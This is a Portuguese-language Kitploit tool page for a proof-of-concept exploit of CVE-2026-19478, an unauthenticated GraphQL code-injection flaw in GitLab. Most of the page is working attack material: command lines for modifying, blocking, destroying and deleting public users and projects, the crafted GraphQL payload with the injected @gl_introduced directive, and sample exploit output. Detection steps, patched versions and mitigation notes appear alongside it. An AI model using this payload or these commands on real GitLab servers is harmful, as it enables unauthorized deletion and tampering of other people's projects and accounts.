Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-19478-PoC — Exploit de prova de conceito para injeção remota de código não autenticada na API GraphQL do GitLab, usando consultas elaboradas para modificar ou excluir projetos e usuários públicos. | Kitploit
Ferramentas/GitHubGitHub/davkharrr/cve-2026-19478-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança de API
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Exploit de prova de conceito para injeção remota de código não autenticada na API GraphQL do GitLab, usando consultas elaboradas para modificar ou excluir projetos e usuários públicos.

Ver Repositório
13há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 PoC

Injeção remota de código não autenticada na camada GraphQL do GitLab que permite a um atacante modificar ou excluir projetos públicos e dados de usuário com uma única consulta (query) elaborada. Sem autenticação, sem interação do usuário, sem privilégios especiais.

Gravidade9.4 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Controle inadequado da geração de código / Injeção de código)
AfetadasGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Corrigida18.11.11, 19.0.8, 19.1.6, 19.2.4
Divulgada2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

O exploit é uma injeção de código por campo de fallback: um nome de campo escolhido pelo atacante em uma consulta GraphQL é convertido em uma chamada arbitrária a public_send no modelo ActiveRecord subjacente (Project, User, ...). Como o campo de fallback só é criado quando a consulta também carrega uma diretiva @gl_introduced "futura", a diretiva é o primitivo de injeção.


Versões afetadas

O script faz detecção de versão de melhor esforço (/api/v4/version com um token, /help, /users/sign_in) e informa se o alvo está dentro das faixas afetadas.


Detecção

  • Verificação de versão: qualquer GitLab nas faixas afetadas é vulnerável.
  • Verificação comportamental (segura): envie o payload benigno touch acima. Uma instância vulnerável retorna "touch": true; uma instância corrigida retorna Field 'touch' doesn't exist on type 'Project'.
  • Verificação de esquema: uma instância vulnerável expõe a diretiva gl_introduced no esquema GraphQL (introspecção /api/graphql). Instâncias corrigidas ainda podem expô-la, portanto a verificação comportamental é a que tem autoridade.

Uso

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]

Modos destrutivos (modify, destroy, delete) exigem uma confirmação interativa de yes.

Exemplos

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Saída esperada

Instância vulnerável

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Instância corrigida

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

A resposta de uma instância corrigida é um erro normal de validação GraphQL:

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Objeto pai não resolvível

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

O alvo deve ser público (visibilidade do projeto Public, ou um usuário cujo perfil seja publicamente resolvível via GraphQL). Se o objeto pai for nulo, o método nunca é chamado.


Correção

  • Atualize para o GitLab 18.11.11, 19.0.8, 19.1.6 ou 19.2.4 (ou versões posteriores).
  • Até a correção: restrinja o acesso de rede a /api/graphql ou desative o recurso de filtro de versão @gl_introduced se ele não for necessário.

Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Commit da correção: e283c6ad "Prevent calling object method when resolving fallback field"

Este PoC é fornecido apenas para pesquisa defensiva de segurança e testes autorizados. Não o execute contra sistemas que você não possui ou para os quais não possui permissão explícita de teste.

Baixar ferramenta
SérieAfetadaCorrigida
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4
OpçãoDescrição
--urlURL base do GitLab, ex.: https://gitlab.example.com
--projectCaminho completo de um projeto público, ex.: group/subgroup/project
--userNome de usuário de um usuário público, ex.: alice
--modecheck (padrão, touch benigno) · modify (usuário: deactivate, projeto: touch) · destroy · delete · custom
--methodNome do método para --mode custom (deve ser um nome GraphQL válido)
--tokenPRIVATE-TOKEN do GitLab opcional (detecção de versão / autenticação)
--versionIgnora a detecção, força uma string de versão
--insecureDesativa a verificação do certificado TLS